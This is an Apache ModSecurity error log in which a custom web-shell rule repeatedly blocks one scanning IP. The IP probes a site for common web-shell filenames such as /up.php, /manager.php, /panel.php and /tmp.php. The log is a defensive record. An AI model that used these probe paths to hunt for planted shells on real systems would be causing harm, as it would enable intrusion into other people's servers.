[Fri Jan 09 10:26:09.466350 2026] [:error] [pid 30021:tid 30086] [client 20.24.220.9:2128] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/secret.php"] [unique_id "aWBnQQ_M8aRtsTog5J8e_QAAAMU"]
[Fri Jan 09 10:26:10.867919 2026] [:error] [pid 30020:tid 30077] [client 20.24.220.9:2068] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/secret.php"] [unique_id "aWBnQsrjc66qOisG6L174AAAAJc"]
[Fri Jan 09 10:26:12.761582 2026] [:error] [pid 30019:tid 30028] [client 20.24.220.9:2163] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up.php"] [unique_id "aWBnREz3igHGwX5f7IpubwAAAAQ"]
[Fri Jan 09 10:26:17.412847 2026] [:error] [pid 30113:tid 30123] [client 20.24.220.9:2126] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up.php"] [unique_id "aWBnSasz80DbrolLWsHt5QAAAQc"]
[Fri Jan 09 10:26:18.788648 2026] [:error] [pid 44848:tid 44870] [client 20.24.220.9:2062] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up.php"] [unique_id "aWBnSqjajoTJAbEk87wtWQAAAFQ"]
[Fri Jan 09 10:26:22.235908 2026] [:error] [pid 44848:tid 44856] [client 20.24.220.9:2147] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up.php"] [unique_id "aWBnTqjajoTJAbEk87wtXwAAAEY"]
[Fri Jan 09 10:26:24.312103 2026] [:error] [pid 30020:tid 30063] [client 20.24.220.9:2117] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aWBnUMrjc66qOisG6L179gAAAIk"]
[Fri Jan 09 10:26:30.370464 2026] [:error] [pid 30021:tid 30081] [client 20.24.220.9:2130] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aWBnVg_M8aRtsTog5J8fCwAAAMA"]
[Fri Jan 09 10:26:35.418214 2026] [:error] [pid 30021:tid 30094] [client 20.24.220.9:2156] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aWBnWw_M8aRtsTog5J8fGgAAAM0"]
[Fri Jan 09 10:26:37.242629 2026] [:error] [pid 44848:tid 44856] [client 20.24.220.9:2049] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aWBnXajajoTJAbEk87wtdQAAAEY"]
[Fri Jan 09 10:26:43.566499 2026] [:error] [pid 44848:tid 44862] [client 20.24.220.9:2058] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/panel.php"] [unique_id "aWBnY6jajoTJAbEk87wtfAAAAEw"]
[Fri Jan 09 10:26:45.152816 2026] [:error] [pid 30020:tid 30066] [client 20.24.220.9:2054] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/panel.php"] [unique_id "aWBnZcrjc66qOisG6L18BQAAAIw"]
[Fri Jan 09 10:26:46.494630 2026] [:error] [pid 30019:tid 30024] [client 20.24.220.9:2173] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/panel.php"] [unique_id "aWBnZkz3igHGwX5f7IpujwAAAAA"]
[Fri Jan 09 10:27:41.036751 2026] [:error] [pid 30019:tid 30045] [client 20.24.220.9:2158] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tmp.php"] [unique_id "aWBnnUz3igHGwX5f7Ipu1gAAABU"]
[Fri Jan 09 10:27:41.899712 2026] [:error] [pid 44848:tid 44860] [client 20.24.220.9:2175] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tmp.php"] [unique_id "aWBnnajajoTJAbEk87wt8AAAAEo"]
[Fri Jan 09 10:27:44.077949 2026] [:error] [pid 30113:tid 30122] [client 20.24.220.9:2140] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tmp.php"] [unique_id "aWBnoKsz80DbrolLWsHuwwAAAQY"]
[Fri Jan 09 10:27:46.820615 2026] [:error] [pid 30021:tid 30102] [client 20.24.220.9:2124] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tmp.php"] [unique_id "aWBnog_M8aRtsTog5J8fdgAAANU"]
[Fri Jan 09 10:27:48.411573 2026] [:error] [pid 44848:tid 44866] [client 20.24.220.9:2152] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/temp.php"] [unique_id "aWBnpKjajoTJAbEk87wuAwAAAFA"]
[Fri Jan 09 10:27:53.026844 2026] [:error] [pid 30019:tid 30048] [client 20.24.220.9:2144] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/temp.php"] [unique_id "aWBnqUz3igHGwX5f7Ipu4gAAABg"]
[Fri Jan 09 10:27:55.500206 2026] [:error] [pid 30019:tid 30037] [client 20.24.220.9:2012] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/temp.php"] [unique_id "aWBnq0z3igHGwX5f7Ipu5QAAAA0"]
[Fri Jan 09 10:27:57.794279 2026] [:error] [pid 30113:tid 30116] [client 20.24.220.9:2134] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/temp.php"] [unique_id "aWBnrasz80DbrolLWsHu5AAAAQA"]
[Fri Jan 09 10:28:06.082879 2026] [:error] [pid 30019:tid 30036] [client 20.24.220.9:2148] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aWBntkz3igHGwX5f7Ipu9AAAAAw"]
[Fri Jan 09 10:28:07.573204 2026] [:error] [pid 44848:tid 44860] [client 20.24.220.9:1984] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aWBnt6jajoTJAbEk87wuKgAAAEo"]
[Fri Jan 09 10:28:12.777025 2026] [:error] [pid 30113:tid 30123] [client 20.24.220.9:2169] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aWBnvKsz80DbrolLWsHvBAAAAQc"]
[Fri Jan 09 10:28:13.713779 2026] [:error] [pid 30021:tid 30092] [client 20.24.220.9:2164] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/log.php"] [unique_id "aWBnvQ_M8aRtsTog5J8fkgAAAMs"]
[Fri Jan 09 10:28:20.230240 2026] [:error] [pid 30020:tid 30068] [client 20.24.220.9:2168] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/log.php"] [unique_id "aWBnxMrjc66qOisG6L18ggAAAI4"]
[Fri Jan 09 10:28:23.733794 2026] [:error] [pid 30021:tid 30096] [client 20.24.220.9:2099] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/log.php"] [unique_id "aWBnxw_M8aRtsTog5J8fnQAAAM8"]
[Fri Jan 09 10:28:24.705473 2026] [:error] [pid 44848:tid 44874] [client 20.24.220.9:2114] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/log.php"] [unique_id "aWBnyKjajoTJAbEk87wuUwAAAFg"]
[Fri Jan 09 10:28:26.679521 2026] [:error] [pid 30020:tid 30060] [client 20.24.220.9:2118] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "aWBnysrjc66qOisG6L18iwAAAIY"]
[Fri Jan 09 10:28:27.479500 2026] [:error] [pid 44848:tid 44859] [client 20.24.220.9:2073] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "aWBny6jajoTJAbEk87wuWgAAAEk"]
[Fri Jan 09 10:28:29.083178 2026] [:error] [pid 44848:tid 44858] [client 20.24.220.9:2060] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "aWBnzajajoTJAbEk87wuXwAAAEg"]
[Fri Jan 09 10:28:29.741987 2026] [:error] [pid 44848:tid 44852] [client 20.24.220.9:2131] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "aWBnzajajoTJAbEk87wuYQAAAEI"]
[Fri Jan 09 10:28:31.053748 2026] [:error] [pid 44848:tid 44862] [client 20.24.220.9:2057] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aWBnz6jajoTJAbEk87wuZQAAAEw"]
[Fri Jan 09 10:28:32.466089 2026] [:error] [pid 30113:tid 30123] [client 20.24.220.9:2061] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aWBn0Ksz80DbrolLWsHvKAAAAQc"]
[Fri Jan 09 10:28:33.693144 2026] [:error] [pid 30020:tid 30055] [client 20.24.220.9:2074] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aWBn0crjc66qOisG6L18kwAAAIE"]
[Fri Jan 09 10:28:35.420463 2026] [:error] [pid 44848:tid 44862] [client 20.24.220.9:2157] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aWBn06jajoTJAbEk87wubQAAAEw"]
[Fri Jan 09 10:28:36.853019 2026] [:error] [pid 44848:tid 44871] [client 20.24.220.9:2071] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/old.php"] [unique_id "aWBn1KjajoTJAbEk87wucgAAAFU"]
[Fri Jan 09 10:28:38.777661 2026] [:error] [pid 30021:tid 30081] [client 20.24.220.9:2007] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/old.php"] [unique_id "aWBn1g_M8aRtsTog5J8fqQAAAMA"]
[Fri Jan 09 10:29:38.118665 2026] [:error] [pid 30020:tid 30077] [client 20.24.220.9:2170] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "aWBoEsrjc66qOisG6L183AAAAJc"]
[Fri Jan 09 10:29:39.682190 2026] [:error] [pid 30021:tid 30101] [client 20.24.220.9:2079] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "aWBoEw_M8aRtsTog5J8gBgAAANQ"]
[Fri Jan 09 10:29:44.705151 2026] [:error] [pid 30021:tid 30093] [client 20.24.220.9:2154] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "aWBoGA_M8aRtsTog5J8gEQAAAMw"]
[Fri Jan 09 10:29:45.444280 2026] [:error] [pid 30021:tid 30083] [client 20.24.220.9:2171] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "aWBoGQ_M8aRtsTog5J8gFAAAAMI"]
[Fri Jan 09 10:29:48.654893 2026] [:error] [pid 30021:tid 30083] [client 20.24.220.9:1995] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/u.php"] [unique_id "aWBoHA_M8aRtsTog5J8gIwAAAMI"]
[Fri Jan 09 10:29:51.647938 2026] [:error] [pid 44848:tid 44860] [client 20.24.220.9:2135] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/u.php"] [unique_id "aWBoH6jajoTJAbEk87wu7QAAAEo"]
[Fri Jan 09 10:29:52.747829 2026] [:error] [pid 30019:tid 30029] [client 20.24.220.9:2150] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/u.php"] [unique_id "aWBoIEz3igHGwX5f7IpvfAAAAAU"]
[Fri Jan 09 10:29:56.876397 2026] [:error] [pid 30020:tid 30078] [client 20.24.220.9:2084] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/u.php"] [unique_id "aWBoJMrjc66qOisG6L187gAAAJg"]
[Fri Jan 09 10:29:58.536655 2026] [:error] [pid 30019:tid 30047] [client 20.24.220.9:2121] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "aWBoJkz3igHGwX5f7IpviwAAABc"]
[Fri Jan 09 10:30:00.756533 2026] [:error] [pid 44848:tid 44865] [client 20.24.220.9:2066] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "aWBoKKjajoTJAbEk87wu_gAAAE8"]
[Fri Jan 09 10:30:01.449762 2026] [:error] [pid 30021:tid 30086] [client 20.24.220.9:2078] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "aWBoKQ_M8aRtsTog5J8gPwAAAMU"]
[Fri Jan 09 10:30:02.351091 2026] [:error] [pid 30020:tid 30075] [client 20.24.220.9:2142] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "aWBoKsrjc66qOisG6L189QAAAJU"]
[Fri Jan 09 10:30:06.578526 2026] [:error] [pid 44848:tid 44865] [client 20.24.220.9:2165] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aWBoLqjajoTJAbEk87wvBgAAAE8"]
[Fri Jan 09 10:30:10.905344 2026] [:error] [pid 44848:tid 44863] [client 20.24.220.9:2072] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aWBoMqjajoTJAbEk87wvDAAAAE0"]
[Fri Jan 09 10:30:12.204943 2026] [:error] [pid 30019:tid 30046] [client 20.24.220.9:2075] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aWBoNEz3igHGwX5f7IpvmQAAABY"]
[Fri Jan 09 10:30:13.527747 2026] [:error] [pid 30020:tid 30060] [client 20.24.220.9:2102] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aWBoNcrjc66qOisG6L18-QAAAIY"]
[Fri Jan 09 10:30:16.695300 2026] [:error] [pid 30020:tid 30059] [client 20.24.220.9:2116] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aWBoOMrjc66qOisG6L18_QAAAIU"]
[Fri Jan 09 10:30:18.867949 2026] [:error] [pid 30019:tid 30038] [client 20.24.220.9:1985] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aWBoOkz3igHGwX5f7IpvowAAAA4"]
[Fri Jan 09 10:30:20.472483 2026] [:error] [pid 30020:tid 30060] [client 20.24.220.9:2064] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aWBoPMrjc66qOisG6L19BQAAAIY"]
